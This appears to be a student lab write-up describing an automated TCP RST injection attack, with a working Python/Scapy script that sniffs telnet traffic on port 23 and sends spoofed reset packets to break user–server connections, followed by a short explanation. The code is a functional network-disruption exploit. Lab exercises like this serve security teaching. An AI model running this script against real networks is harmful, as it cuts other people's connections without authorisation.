RST Attack Automation Explanation

Python Code:

```
#!/usr/bin/env python3
from scapy.all import *

def send_rst_pckt(packet):
  src_ip = packet[IP].src
  dst_ip = packet[IP].dst
  src_port = packet[TCP].sport
  dst_port = packet[TCP].dport
  ack_num = packet[TCP].ack
  seq_num = packet[TCP].seq
  ip = IP(src=src_ip, dst=dst_ip)
  tcp = TCP(sport=src_port, dport=dst_port, flags="R", seq=seq_num, ack=ack_num)
  pkt = ip/tcp
  ls(pkt)
  send(pkt,verbose=0)

sniff(filter="tcp and dst port 23", iface="br-7a6748c1697c", prn=send_rst_pckt)
```

Explanation:

As you can see, I was able to automate RST attacks by using scapy. I sniffed all packets that passed through the network and filtered for ones that were using the TCP protocol and had the destination port 23. This is because telnet servers listen on port 23 and use the TCP protocol. Then, I extracted the source IP, destination IP, source port, destination port, acknowledgement number, and sequence number from the packet. Then, I sent a spoofed RST packet to the server, breaking the connection between the user and the server.